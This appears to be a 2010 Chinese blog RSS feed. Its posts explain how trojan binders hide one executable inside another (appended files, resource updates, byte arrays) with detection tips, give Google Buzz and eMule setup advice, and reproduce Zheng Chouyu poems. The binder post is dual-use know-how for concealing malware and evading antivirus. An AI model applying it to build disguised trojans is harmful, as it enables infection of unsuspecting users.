检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件，他的里面都包含了几个绝对固定的特点[不管是否加壳]。一是文 件以MZ开头，跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点，检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索 关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是，一些生成器也是利用了这个原理，将木马附加到生成器末 尾，用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来，然后检索关键字MZ或者PE。说到这里，相信大家有了一个大概的 了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。
二、资源包裹捆绑器
就这原理也很简单。大部分检测器是检测不出来的，但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳，所以也十 分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个 原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到 BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API 函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头 文件释放出来，然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。
检测方法:一般这种很难检测。如果你不怕麻烦，可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将 资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。
三、编译器捆绑法
暂时不知用什么名字来形容，所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样 muma:array[0..9128]ofByte=($4D,$5A,$50&#8230;.$00);
然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、 连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言，目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的 DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。
]]></description>
			<content:encoded><![CDATA[<p>一、传统的捆绑器</p>
<p>这种原理很简单，也是目前用的最多的一种。就是将B.exe附加到A.exe的末尾。这样当A.exe被执行的时候，B.exe也跟着执行了。 这种捆绑器的代码是满网都是。我最早是从jingtao的一篇关于流的文章中得知的。就目前来说，已经没什么技术含量了。</p>
<p>检测方法:稍微懂一点PE知识的人都应该知道。一个完整有效的PE/EXE文件，他的里面都包含了几个绝对固定的特点[不管是否加壳]。一是文 件以MZ开头，跟着DOS头后面的PE头以PE\0\0开头。有了这两个特点，检测就变得很简单了。只需利用UltraEdit一类工具打开目标文件搜索 关键字MZ或者PE。如果找到两个或者两个以上。则说明这个文件一定是被捆绑了。不过值得注意的是，一些生成器也是利用了这个原理，将木马附加到生成器末 尾，用户选择生成的时候读出来。另外网上流行的多款“捆绑文件检测工具”都是文件读出来，然后检索关键字MZ或者PE。说到这里，相信大家有了一个大概的 了解。那就是所谓的“捆绑文件检测工具”是完全靠不住的一样东西。<span id="more-872"></span></p>
<p>二、资源包裹捆绑器</p>
<p>就这原理也很简单。大部分检测器是检测不出来的，但灰鸽子木马辅助查找可以检测出捆绑后未经加壳处理的EXE文件。但一般人都会加壳，所以也十 分不可靠。这个学过编程或者了解PE结构的人都应该知道。资源是EXE中的一个特殊的区段。可以用来包含EXE需要/不需要用到的任何一切东西。利用这个 原理进行100%免杀捆绑已经让人做成了动画。大家可以去下载看看。那捆绑器是如何利用这一点的呢?这只需要用到 BeginUpdateResource、UpdateResource和EndUpdateResource这三个API函数就可以搞定。这三个API 函数是用来做资源更新/替换用的。作者只需先写一个包裹捆绑文件的头文件Header.exe.头文件中只需一段释放资源的代码。而捆绑器用的时候先将头 文件释放出来，然后用上面说的三个API函数将待捆绑的文件更新到这个头文件中即完成了捆绑。类似原理被广泛运用到木马生成器上。</p>
<p>检测方法:一般这种很难检测。如果你不怕麻烦，可以先将目标文件进行脱壳。然后用“灰鸽子木马辅助查找”或“ResTorator”一类工具将 资源读出来进行分析。但这种方法毕竟不通用。所以还是推荐有条件的朋友使用虚拟机。</p>
<p>三、编译器捆绑法</p>
<p>暂时不知用什么名字来形容，所以只能用这个来代替。这种方法相当的阴险。是将要捆绑的文件转换成16进制保存到一个数组中。像这样 muma:array[0..9128]ofByte=($4D,$5A,$50&#8230;.$00);</p>
<p>然后用时再用API函数CreateFile和WriteFile便可将文件还原到硬盘。这里稍稍学过编程的都知道。代码中的数组经过编译器、 连接器这么一搞。连影都没了。哪还能有什么文件是吧?所以就这种方法而言，目前还没有可以查杀的方法。这种方法可以利用编程辅助工具jingtao的 DcuAnyWhere或Anskya的AnyWhereFileToPas来实现。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/08/trojan/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>google buzz使用技巧</title>
		<link>http://www.qsdiy.net/2010/03/04/google-buzz/</link>
		<comments>http://www.qsdiy.net/2010/03/04/google-buzz/#comments</comments>
		<pubDate>Thu, 04 Mar 2010 12:58:07 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[google]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=870</guid>
		<description><![CDATA[Google Buzz和Google  Profiles的关联非常紧密，从而让很多不熟悉Google产品的用户对于某些操作并不熟悉，这里就介绍几个较不常用的Buzz技巧，供大 家参考。
添加自定义网站连接
当用户在Google  Profiles中创建个人资料以后，Google会自动提供一些建议的链接，用户可以选择在自己的公开个人资料中显示其中的一个或多个链接。除了 Google自己的产品之外，其他网站或博客的链接都可以通过Google Webmasters来实现 验证。
比如用户想要在Google  Buzz中添加自己博客的连接，使得Buzz可以自动发布自己的博客的文章，那么就可以先在Google  Webmasters中验证自己的博客地址，验证的方法有meta法和上传指定html文件法，当用户验证网站成功之后，Google就会认为这个网站属 于该用户管理，之后Buzz的连接网站界面就会出现该网站链接，用户就可以把Buzz连接到这个网站上了。
删除 Google Profiles中的链接
对于企业网站来说，一个网站的管理员通常需要多个用户来管理，Google   Webmasters支持一个网站的多个用户管理，即几个不同的用户可以分别通过验证并管理这个网站，但这也带来一个问题，如果已验证了网站所有权的员工 离开了公司，那就存在一个非法管理网站的问题，需要将该用户的权限删除。
Google  Webmasters提供了用户删除自己的验证，也可以删除其他人的验证，在Google  Webmasters删除一个用户操作，被Google隐藏的非常好，删除的方法是，在主页上，该网站的后面，点“已验证”链接，在“已通过验证的用户” 中的操作里，点“删除验证记录”即可删除自己或其他人对该网站的验证。
全文邮件发布
我们知道，在自己的Gmail中发一个邮件到 buzz@gmail.com  中，就可以通过邮件更新自己的buzz，但是，这个方法只是将邮件的标题更新到buzz中，邮件内容并不更新，因此并不适合较长文字的全文更新。
我这里想到一个方法可以实现全文邮件发布，先在 Google Blogger  上申请一个博客，然后在“设置”-“电子邮件和移动博客”-“电子邮件发布地址”中设置一个邮件发布信箱，接着在 Google Webmaster  中验证此博客，并在Buzz中连接此Blogspot，这样，就可以通过发送电子邮件到指定的信箱，而发布全文方式的Buzz了。
原文出处：月光博客
]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.williamlong.info/archives/2084.html" target="_blank">Google Buzz</a>和<a href="http://www.williamlong.info/archives/1173.html" target="_blank">Google  Profiles</a>的关联非常紧密，从而让很多不熟悉Google产品的用户对于某些操作并不熟悉，这里就介绍几个较不常用的Buzz技巧，供大 家参考。</p>
<p><strong>添加自定义网站连接</strong></p>
<p>当用户在Google  Profiles中创建个人资料以后，Google会自动提供一些建议的链接，用户可以选择在自己的公开个人资料中显示其中的一个或多个链接。除了 Google自己的产品之外，其他网站或博客的链接都可以通过<a href="https://www.google.com/webmasters/tools/" target="_blank">Google Webmasters</a>来实现 验证。<span id="more-870"></span></p>
<p>比如用户想要在Google  Buzz中添加自己博客的连接，使得Buzz可以自动发布自己的博客的文章，那么就可以先在Google  Webmasters中验证自己的博客地址，验证的方法有meta法和上传指定html文件法，当用户验证网站成功之后，Google就会认为这个网站属 于该用户管理，之后Buzz的连接网站界面就会出现该网站链接，用户就可以把Buzz连接到这个网站上了。</p>
<p><strong>删除 Google Profiles中的链接</strong></p>
<p>对于企业网站来说，一个网站的管理员通常需要多个用户来管理，Google   Webmasters支持一个网站的多个用户管理，即几个不同的用户可以分别通过验证并管理这个网站，但这也带来一个问题，如果已验证了网站所有权的员工 离开了公司，那就存在一个非法管理网站的问题，需要将该用户的权限删除。</p>
<p>Google  Webmasters提供了用户删除自己的验证，也可以删除其他人的验证，在Google  Webmasters删除一个用户操作，被Google隐藏的非常好，删除的方法是，在主页上，该网站的后面，点“已验证”链接，在“已通过验证的用户” 中的操作里，点“删除验证记录”即可删除自己或其他人对该网站的验证。</p>
<p><strong>全文邮件发布</strong></p>
<p>我们知道，在自己的Gmail中发一个邮件到 buzz@gmail.com  中，就可以通过邮件更新自己的buzz，但是，这个方法只是将邮件的标题更新到buzz中，邮件内容并不更新，因此并不适合较长文字的全文更新。</p>
<p>我这里想到一个方法可以实现全文邮件发布，先在 Google Blogger  上申请一个博客，然后在“设置”-“电子邮件和移动博客”-“电子邮件发布地址”中设置一个邮件发布信箱，接着在 Google Webmaster  中验证此博客，并在Buzz中连接此Blogspot，这样，就可以通过发送电子邮件到指定的信箱，而发布全文方式的Buzz了。</p>
<p>原文出处：<a href="http://www.williamlong.info/archives/2102.html" target="_blank">月光博客</a></p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/04/google-buzz/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>电驴设置</title>
		<link>http://www.qsdiy.net/2010/03/03/emule/</link>
		<comments>http://www.qsdiy.net/2010/03/03/emule/#comments</comments>
		<pubDate>Wed, 03 Mar 2010 11:45:48 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[未分类]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=867</guid>
		<description><![CDATA[估计到今天不少朋友都已经初 步掌握了电驴的使用，本课将讲解让很多初学者头疼的设置问题。 所有的设置变更都要点“应用”或者“确定”项才能生效。]]></description>
			<content:encoded><![CDATA[<p>估计到今天不少朋友都已经初 步掌握了电驴的使用，本课将讲解让很多初学者头疼的设置问题。  所有的设置变更都要点“应用”或者“确定”项才能生效。</p>
<p>1、先说说“统计”菜单，这个菜单很有用，你修改设置所造成的一切影响结果， 就可以从这里得到体现。那三个曲线图就不说了，很直观，自己看看就明白了。重要的是那个文本窗口，里面的统计数据对你适当更改电驴设置会有帮助。最直观重要的是“连接”项和最前面的“本次运行上传:下载比例”。我的观点是，首先要努力提 高“连接”项里面的平均下载速度，其次使“本次运行上传:下载比例”高于1，小于2（不宜太高），这样你对于电驴的奉献就和索取基本一致了，这和电驴的宗旨也是一致的。</p>
<p>2、点“选项”，点“服务器”，将里面的选项除最后1项以外都选 上，别的倒无所谓，尤其重要的是要把倒数第2项：仅自动连接到静态服务器选上。然后再点第3项后面的“列表”，会打开写字板，把以下的每日更新的服务器列 表拷贝到里面：</p>
<p><a href="http://www.srv1000.com/x1/server.met">http://www.srv1000.com/x1/server.met</a></p>
<p><a href="http://emule.945.cn/server.met">http://emule.945.cn/server.met</a></p>
<p><a href="http://www.edk-files.com/x1/server.met">http://www.edk-files.com/x1/server.met</a><span id="more-867"></span></p>
<p>然后保存，退出写字板。这样启动emule的时侯就可以自动更新服务器了。连接服务器的数目决定你最大可以选择下载的文件数目，从理 论上当然是越多越好了。但是你的电驴扫描服务器的时候要耗费时间和内存，而且有的服务器文件数目也不过几千， 几万，没有太大的价值，所以建议数目不要太多。加入我上面列的三个列表后，你的服务器数目一般可以保证150—250之间，可以满足足够的需求。</p>
<p>3、仍然在“选项”里面，点“连接”，如果最下面的三项没有打上勾请补上。再看上面各项：</p>
<p>每个文件的最大来源数—硬性限 制：300-500是比较适中的数值。</p>
<p>连接限制—最大连接数：填一个较大的数（统计里面可以提供参考意见），但是也别太大，建议输入 是上一个数字的15倍左右，例如5000。</p>
<p>最后说说连接能力和上限：</p>
<p>首先要知道自己用网络的最大上下载速度是多 少k。以下我自己定义了三种模式，对应三种不同的设定（一般的用户用傻瓜模式就可以了，本人推荐使用下两种模式）：</p>
<p>傻瓜模式：在能力 里面，下载输入高于你最大速度的数值，上传里面输入你想提供给别人下载的总速度，一般可以输入你下载速度的1/5－1/3，比如你的网络最大下载速度是 200K，这两个数可以输入300（只要高过200都可以）和50，在上限里面，下载输入0（就是没有限制），上传则为和前面一个上传能力相同的数值。</p>
<p>手动档模式：在能力里面，下载输入尽量接近你最大下载能力的数值，上传输入此数据的1/5－1/3。在上限里面两个数据都输入0。然后点右上的小点，将电驴窗口最小化。鼠标点中右下的驴头，点右键，就可以根据自己的不同情况和喜好选择下载、上传速度档位了。比如 上班或者需要上网操作其他事情的时候，就把下载速度档设成2成或4成，上传速度也设成2成或4成，这样公司整体网速或者你自己的上网速度也不会因为电驴疯狂下载而受到很大影响了。下班的时候，将下载速度设成100%或者无限制，上传速度也适当放大，比如增大 到4成或者6成。这样可以充分利用公司晚上网络的全部带宽。</p>
<p>自动档模式：在能力里面，下载和上载都输入你平时希望分配的数值，比如手 动档模式中你常用的档位数值，而不必考虑网络的能力。在上限里面两个数据都输入0。然后点右上的小点，将电驴窗口最小化。需要更改的时侯，鼠标点中右下的驴头，点右键，就可以根据自己的情况更换档位。比如上班或者需 要上网操作其他事情的时候，上下载都设成100％速度，给其他同事或者你上网操作其它事情以足够带宽。下班的时候，将下载速度设成无限制。这样可以充分利 用公司晚上网络的全部带宽。这样设置有两个好处，首先由于只有两档变化，比较容易操作；更重要的是由于你在能力中输入的数值相比前两种模式较小，所以驴头 右边的下载速度显示条可以更直观准确地显示你的下载速度。比如我在能力里面输入的是150，这样显示条假如到达驴头的一半高度，不用还原emule窗口就 知道当前下载速度约为  70K左右了，很方便。如果按照前两种模式，在能力中输入较大数值，则显示条几乎永远只是一个小黑点。另外，如果你在公司上网，最好在WinXP中把那个 驴头设置成永远隐藏。</p>
<p>最后说说为什么要将上传速度设定成适当的数值，比如我设定的是50k。若设成1k，即我光下载而基本不上传这样 不是更好吗？这是对电驴的误解，电驴也会相应的惩罚你。因为这将直接影响你的连接数，因为你只下载，而不上传，所以电驴分配到你这里来下载的连接数目必然很少。由于电驴用户既是上传又是下载，人家虽然连到你这里下载，同时他也会给你上传。这就是你不要将上传速度设置过小的原 因。以上的比例我经过观察统计，比较科学。</p>
<p>当然，如果你对上传不设限制，这绝对是最能体现“我为人人，人人为我”<a href="http://download.pcpop.com/Series/10638.html" target="_blank">电驴</a>宗旨的！</p>
<p>4、最后点主菜单“服务器”</p>
<p>可以看到n多服务器列表，如 何选择呢？我教你一个万全之策。你最好按照上课中的方法将各项参数排序。然后按照以下方法操作：</p>
<p>首先点文件，将服务器按文件多少排 序，同时观察它的ping值，如果数值比较小，表示你连到服务器的速度比较快。从第1个开始，如果ping值低于你心目中一定的数值，比如1000或者 800（你自己看着定），你就点右键，将其添加到“静态服务器列表中”，这样无论如何变化，该服务器都不会从你的列表中丢失。从上往下依次选择10-20 个左右。</p>
<p>当然从使用的角度，你选择的连接服务器文件数目越多，总的静态服务器数目越少越好，但是也许会比较难连这些优质的服务器，一 旦连接断了也很难再自动连接上去，所以推荐选择10—20个静态服务器为宜。</p>
<p>由于你在“选项”里面设置成“仅自动连接静态服务器”， 所以你必然可以连到一个文件数目很多的服务器！</p>
<p>最后补充一点，等文件下载完了，别忘了在“传输”菜单里面，点右键选择“移除已完成文 件”，这完全是为了显示简洁的需要，并不影响别人下载你被移除的文件，因为它仍然在你的incoming目录里面。我建议在另外一个分区建立一个专门的共 享目录，把下载完的文件暂时寄存到此处，这样首先可以给你的驴儿腾出活动，另外也可以给别人的下载提供支持。我用于电驴下载的空间是20G，另外的文件共享空间为10G。</p>
<p>以上的情况只是根据我个人情况所做 的设置，大家可以根据你个人的情况，多看看你的统计，然后进行适当的调整，我相信不出1周，你就可以找到适合你的网速与机器的最佳电驴配置！</p>
]]></content:encoded>
			<wfw:commentRss>http://www.qsdiy.net/2010/03/03/emule/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>郑愁予诗集</title>
		<link>http://www.qsdiy.net/2010/03/01/%e9%83%91%e6%84%81%e4%ba%88%e8%af%97%e9%9b%86/</link>
		<comments>http://www.qsdiy.net/2010/03/01/%e9%83%91%e6%84%81%e4%ba%88%e8%af%97%e9%9b%86/#comments</comments>
		<pubDate>Mon, 01 Mar 2010 02:57:36 +0000</pubDate>
		<dc:creator>如一</dc:creator>
				<category><![CDATA[未分类]]></category>
		<category><![CDATA[碎碎语]]></category>
		<category><![CDATA[郑愁予]]></category>

		<guid isPermaLink="false">http://www.qsdiy.net/?p=858</guid>
		<description><![CDATA[




錯誤 
/鄭愁予
我打江南走過
那等在季節裡的容顏如蓮花般開落&#8230;
東風不來，三月的柳絮不飛
你的心如小小的寂寞的城
恰若青石的街道向晚
跫音不響，三月的春帷不揭
你底心是小小的窗扉緊掩
我達達的馬蹄是美麗的錯誤
我不是歸人，是個過客&#8230;

 
賦別  
 /鄭愁予
這次我離開你  是風  是雨  是夜晚，
你笑了笑  我擺一擺手
一條寂寞的路便展向兩頭了
念此際你已回到濱河的家居
想你在梳理長髮或整理濕了的外衣
而我風雨的歸程還正長
山退得很遠  平蕪拓得更大

 哎  這世界  怕黑暗已真的成形了&#8230;.
你說  你真傻  多像那放風箏的孩子
本不該縛它又放它
風箏去了   留一線斷了的錯誤
書太厚了  本不該掀開扉頁的
沙灘太長  本不該走出足印的
雲出自岫谷  泉水滴自石隙

 一切都開始了  而海洋在何處？
「獨木橋」的初遇已成往事了
如今又已是廣闊的草原了
我已失去扶持你專寵的權利
紅與白揉藍於晚天  錯得多美麗

 而不錯入金果的園林
卻誤入維特的墓地&#8230;&#8230;
這次我離開你  便不再想見你了
念此際你已靜靜入睡
留我們未完的一切  留給這世界

 這世界  我仍體切地踏著
而已是你底夢境了&#8230;..
 
 
 
情婦 
/鄭愁予
在 一青石的小城  住著我的情婦
而我甚麼也不留給她

 祗有一畦金線菊  和 一個高高的窗口
或許  透一點長空的寂寥進來
或許&#8230;.而金線菊是善等待的
我想  寂寥與等待  對婦人是好
所以  我去  總穿一襲藍衫子
我要她感覺  那是季節  或
侯鳥的來臨
因我不是常常回家的那種人 

 
 
夢土上  
 /鄭愁予
 
森林已在我腳下了 我底小屋仍在上頭那籬笆已見到 轉彎卻又隱去了
該有一個人倚門等我
等我帶來的新書 和修理好了的琴
而我祇帶來一壺酒

 因等我的人早已離去
雲在我底路上 [...]]]></description>
			<content:encoded><![CDATA[<div>
<table border="0" width="312">
<tbody>
<tr>
<td width="306">
<blockquote><p><big><span style="font-size: large;">錯誤 </span></big><strong><br />
</strong>/<small>鄭愁予</small></p></blockquote>
<blockquote><p><small>我打江南走過</p>
<p>那等在季節裡的容顏如蓮花般開落&#8230;</small></p>
<p><small>東風不來，三月的柳絮不飛</p>
<p>你的心如小小的寂寞的城</p>
<p>恰若青石的街道向晚</small></p>
<p><small>跫音不響，三月的春帷不揭</p>
<p>你底心是小小的窗扉緊掩</small></p>
<p><small>我達達的馬蹄是美麗的錯誤</small></p>
<p><small>我不是歸人，是個過客&#8230;</small></p></blockquote>
<hr size="4" />
<blockquote><p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><big><span style="font-size: large;">賦別</span> </big><strong> </strong></span></p>
<p><span style="font-family: 新細明體;"><strong> </strong>/<small>鄭愁予</small></span></p>
<p><span style="font-family: 新細明體;"><small>這次我離開你  是風  是雨  是夜晚，</p>
<p>你笑了笑  我擺一擺手<span id="more-858"></span></small></span></p>
<p><span style="font-family: 新細明體;"><small>一條寂寞的路便展向兩頭了</small></span></p>
<p><span style="font-family: 新細明體;"><small>念此際你已回到濱河的家居</p>
<p>想你在梳理長髮或整理濕了的外衣</small></span></p>
<p><span style="font-family: 新細明體;"><small>而我風雨的歸程還正長</small></span></p>
<p><span style="font-family: 新細明體;"><small>山退得很遠  平蕪拓得更大<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 哎  這世界  怕黑暗已真的成形了&#8230;.</small></span></p>
<p><span style="font-family: 新細明體;"><small>你說  你真傻  多像那放風箏的孩子</p>
<p>本不該縛它又放它</small></span></p>
<p><span style="font-family: 新細明體;"><small>風箏去了   留一線斷了的錯誤</p>
<p>書太厚了  本不該掀開扉頁的</p>
<p>沙灘太長  本不該走出足印的</small></span></p>
<p><span style="font-family: 新細明體;"><small>雲出自岫谷  泉水滴自石隙<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 一切都開始了  而海洋在何處？</small></span></p>
<p><span style="font-family: 新細明體;"><small>「獨木橋」的初遇已成往事了</p>
<p>如今又已是廣闊的草原了</p>
<p>我已失去扶持你專寵的權利</small></span></p>
<p><span style="font-family: 新細明體;"><small>紅與白揉藍於晚天  錯得多美麗<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 而不錯入金果的園林</p>
<p>卻誤入維特的墓地&#8230;&#8230;</small></span></p>
<p><span style="font-family: 新細明體;"><small>這次我離開你  便不再想見你了</small></span></p>
<p><span style="font-family: 新細明體;"><small>念此際你已靜靜入睡</p>
<p>留我們未完的一切  留給這世界<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 這世界  我仍體切地踏著</small></span></p>
<p><span style="font-family: 新細明體;"><small>而已是你底夢境了&#8230;..</small></span></p></blockquote>
<p><span style="font-family: 新細明體;"> </span></p>
<hr size="4" /><span style="font-family: 新細明體;"> </span></p>
<blockquote><p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><big><span style="font-size: large;">情婦 </span></big><strong><br />
</strong>/<small>鄭愁予</small></span></p>
<p><span style="font-family: 新細明體;"><small>在 一青石的小城  住著我的情婦</p>
<p>而我甚麼也不留給她<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 祗有一畦金線菊  和 一個高高的窗口</small></span></p>
<p><span style="font-family: 新細明體;"><small>或許  透一點長空的寂寥進來</p>
<p>或許&#8230;.而金線菊是善等待的</small></span></p>
<p><span style="font-family: 新細明體;"><small>我想  寂寥與等待  對婦人是好</small></span></p>
<p><span style="font-family: 新細明體;"><small>所以  我去  總穿一襲藍衫子</p>
<p>我要她感覺  那是季節  或</p>
<p>侯鳥的來臨</small></span></p>
<p><span style="font-family: 新細明體;"><small>因我不是常常回家的那種人 </small></span></p></blockquote>
<hr size="4" />
<p><span style="font-family: 新細明體;"> </span></p>
<blockquote><p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><big><span style="font-size: large;">夢土上</span></big></span><big> </big><strong> </strong></p>
<p><strong> </strong>/<small>鄭愁予</small></p>
<p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><small>森林已在我腳下了 我底小屋仍在上頭那籬笆已見到 轉彎卻又隱去了</p>
<p>該有一個人倚門等我</p>
<p>等我帶來的新書 和修理好了的琴</small></span></p>
<p><span style="font-family: 新細明體;"><small>而我祇帶來一壺酒<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 因等我的人早已離去</small></span></p>
<p><span style="font-family: 新細明體;"><small>雲在我底路上 在我底衣上</p>
<p>我在一個隱隱的思念上</small></span></p>
<p><span style="font-family: 新細明體;"><small>高處沒有鳥喉 沒有花靨</p>
<p>我在一片冷冷的夢土上</small></span></p>
<p><span style="font-family: 新細明體;"><small>森林已在我腳下了 我底小屋仍在上頭那籬笆已見到 轉彎卻又隱去了</small></span></p></blockquote>
<hr size="4" />
<blockquote><p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"> </span></p></blockquote>
<blockquote><p><big><span style="font-size: large;">雨絲</span> </big><strong> </strong></p>
<p><strong> </strong>/<small>鄭愁予</small></p>
<p><small>我們底戀啊 像雨絲</p>
<p>在星斗與星斗間的路上 </small></p>
<p><small>我們底車輿是無聲的</p>
<p>曾嬉戲於透明的大森林</p>
<p>曾濯足於無水的小溪 </small></p>
<p><small>那是</p>
<p>擠滿著蓮葉燈的河床啊</p>
<p>是有牽牛和鵲橋的故事</p>
<p>遺落在那裡的</p>
<p>遺落在那裡的 </small></p>
<p><small>我們底戀啊 像雨絲</small></p>
<p><small>斜斜地 斜斜地織成淡的記憶</p>
<p>而是否淡的記憶</p>
<p>就永留於星斗之間呢 </small></p>
<p><small>如今已是摔碎的珍珠 流滿人世了 . </small></p></blockquote>
<hr size="4" />
<blockquote><p><big><span style="font-size: large;">港邊吟</span> </big><strong><br />
</strong>/<small>鄭愁予</small></p>
<p><small>雨季像一道河  自四月的港邊流過</small></p>
<p><small>我散著步  像小小的鮀魚</p>
<p>穿游在路旁高大的水藻間</p>
<p>我吹著水泡，一面思想，一面遊戲 &#8230;</small></p></blockquote>
<hr size="4" />
<blockquote><p><big><span style="font-size: large;">偈 </span></big><strong><span style="font-size: large;"> </span><br />
</strong>/<small>鄭愁予</small></p>
<p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><small>不再流浪了  我不願做空間的歌者</p>
<p>寧願是時間的石人</small></span></p>
<p><span style="font-family: 新細明體;"><small>然而  我又是宇宙的遊子</p>
<p>地球你不需留我</small></span></p>
<p><span style="font-family: 新細明體;"><small>這土地我 一方來<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 將八方離去</small></span></p></blockquote>
<hr size="4" />
<blockquote><p><big><span style="font-size: large;">生命 </span></big><strong><br />
</strong>/<small>鄭愁予</small></p>
<p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><small>滑落過長空的下坡<br />
我是熄了燈的流星下乘夜雨的微涼<br />
趕一程赴賭的路</small></span></p>
<p><span style="font-family: 新細明體;"><small>待投擲的生命如雨點  在湖上激起<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 一夜的迷霧</small></span></p>
<p><span style="font-family: 新細明體;"><small>夠了</small></span></p>
<p><span style="font-family: 新細明體;"><small>生命如此的短  竟短得如此的華美！</small></span></p>
<p><span style="font-family: 新細明體;"><small>偶然間  我是勝了</p>
<p>造物自迷於錦繡的設局<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 畢竟是日子如針</p>
<p>曳著先濃後淡的彩線</small></span></p>
<p><span style="font-family: 新細明體;"><small>起落的拾指之間</p>
<p>反繡出我偏傲的明暗</small></span></p>
<p><span style="font-family: 新細明體;"><small>算了 </small></span></p>
<p><span style="font-family: 新細明體;"><small>生命如此之速  竟速得如此之寧靜！ </small></span></p></blockquote>
<hr size="4" />
<blockquote><p><big><span style="font-size: large;">小小的島 </span></big><strong><br />
</strong>/<small>鄭愁予</small></p>
<p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><small>你住的小小的島我正思念</small></span></p>
<p><span style="font-family: 新細明體;"> </span></p>
<p><span style="font-family: 新細明體;"><small>那兒屬於熱帶  屬於青青的國度</p>
<p>淺沙上  老是棲息著五色的魚群</small></span></p>
<p><span style="font-family: 新細明體;"><small>那兒的山崖都愛凝望<br />
披垂著長藤如髮那兒的草地都善等待</p>
<p>鋪綴著野花如果盤</small></span></p>
<p><span style="font-family: 新細明體;"><small>那兒浴你的陽光是藍的  海風是綠的</small></span></p>
<p><span style="font-family: 新細明體;"><small>則你的健康是鬱鬱的  愛情是徐徐的</small></span></p>
<p><span style="font-family: 新細明體;"><small>雲的幽默與隱隱的雷笑</p>
<p>林叢的舞樂與冷冷的流歌</small></span></p>
<p><span style="font-family: 新細明體;"><small>你住的那小小島我難描繪</p>
<p>難繪那兒的午寐有輕輕的地震</small></span></p>
<p><span style="font-family: 新細明體;"><small>如果  我去了  將帶著我的笛杖<br />
</small></span></p>
<p><span style="font-family: 新細明體;"><small> 那時我是牧童而你是小羊</p>
<p>要不  我去了  我便化做螢火蟲</small></span></p>
<p><span style="font-family: 新細明體;"><small>以我的一生為你點盞燈</small></span></p></blockquote>
<blockquote></blockquote>
<hr size="4" />
<blockquote>
<p><big><span style="font-size: large;">老水手</span> </big><strong><br />
</strong>/<small>鄭愁予</small></p>
<p><small>不是為了</p>
<p>難堪的寂寞</p>
<p>和打發一些</p>
<p>遲暮的情緒</small></p>
<p><small>你提著外套</p>
<p>張著<br />
</small></p>
<p><small> 困乏而空幻的眼睛</small></p>
<p><small>你上岸來了</p>
<p>你不過是</p>
<p>想看一看</p>
<p>這片土地</small></p>
<p><small>這片不會浮動的屋宇<br />
</small></p>
<p><small> 和陌生得</p>
<p>無所謂陌生的面孔</small></p>
<p><small>對著這細雨的黃昏</p>
<p>靜靜的城角</p>
<p>兩排榕樹掩映下的小街道</small></p>
<p><small>你不懂<br />
</small></p>
<p><small> 但你很熟悉</small></p>
<p><small>你翻起所有的記憶</p>
<p>也許突然記起</small></p>
<p><small>兒時故鄉的雨季吧</p>
<p>哎 ──</small></p>
<p><small>故鄉的雨季<br />
</small></p>
<p><small> 你底心也潤濕了</small></p>
<p><small>我猜想</p>
<p>水  故鄉和女人</p>
<p>在你生活中</small></p>
<p><small>已不能分離</small></p>
<p><small>你同樣渴念</p>
<p>也同樣厭棄</small></p>
<p><small>但你沈默</p>
<p>而你的沈默就是筆</small></p>
<p><small>在你</p>
<p>所有踏過的港口上<br />
</small></p>
<p><small> 在你底長眉毛</p>
<p>和嘴角的縐痕上</small></p>
<p><small>你寫著詩句&#8230;&#8230;..</p>
